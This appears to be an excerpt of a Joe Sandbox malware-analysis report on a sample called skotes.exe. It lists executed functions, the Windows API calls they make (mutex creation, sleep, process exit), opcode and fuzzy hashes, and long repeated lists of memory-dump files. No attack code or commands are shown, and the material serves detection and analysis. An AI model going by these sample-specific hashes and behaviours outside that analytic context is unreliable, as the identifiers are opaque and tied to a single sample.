API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 998f46ccf1bc3f52bf6e6ef7529c5f3734c083e9d22842cab6f5f45ef25e9a5d
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C2B111329002C99FDB158F6AC881BBEBBE5EF45344F3451AAE855FB242D6359D02CB60

Function 00EB2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EB2F5F
__Mtx_unlock.LIBCPMT ref: 00EB2FCC
__Mtx_unlock.LIBCPMT ref: 00EB30F5
__Mtx_unlock.LIBCPMT ref: 00EB319B

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction ID: 924b8eccaf7d4362bdb982d92894bc7d742d61c020348e4af729e0e73bd6c356
Opcode Fuzzy Hash: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction Fuzzy Hash: 75A1D270A016059FDB10DB74CA45BABB7E8FF15318F14912DE819F7251EB32EA05CB91

Analysis Process: skotes.exePID: 4464, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	597
Total number of Limit Nodes:	4

Executed Functions

Function 00EE652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EE652A,?,?,?,?,?,00EE7661), ref: 00EE6567

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 5d638f29002103535c54ad3b7b7241ead9f080f9ede9db44fd573d86c3f9aaaa
Instruction ID: e0b1c5b0fd5006b6dd1081156e2c1c56874b06633775944bb52d7b10f668acb1
Opcode Fuzzy Hash: 5d638f29002103535c54ad3b7b7241ead9f080f9ede9db44fd573d86c3f9aaaa
Instruction Fuzzy Hash: 34E0863014158C6ECF357B19DC59E4C3B59EB61789F145C14F81456125CB25EE41C680

Function 00EB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e9196fb1acfc09f5eb1cb33d7d12333a76dc5dfdf0765c34142dc6a27bcc0f65
Instruction ID: f1c495dfb3b484b0a64c747dd4691a0d0f625626f65cb277370f52353fb58314
Opcode Fuzzy Hash: e9196fb1acfc09f5eb1cb33d7d12333a76dc5dfdf0765c34142dc6a27bcc0f65
Instruction Fuzzy Hash: 43316C717042009BEB08DB78EDC9BEEFBA2EBC1314F249228E124F72D6C77659818751

Function 00EB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 87be066d47095c92e5460c0c3a1f4305e9e69c7d7ddf1724dc25a3e749f152f9
Instruction ID: 567dfd86e16053f5b2d72fb2564324e5b07f7f493d6bde3a550792bf6f8efa7a
Opcode Fuzzy Hash: 87be066d47095c92e5460c0c3a1f4305e9e69c7d7ddf1724dc25a3e749f152f9
Instruction Fuzzy Hash: 06316A317042448BEF08EB78DD88BEEB7A2EBC5314F249228E024F72D5C77699818752

Function 00EBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
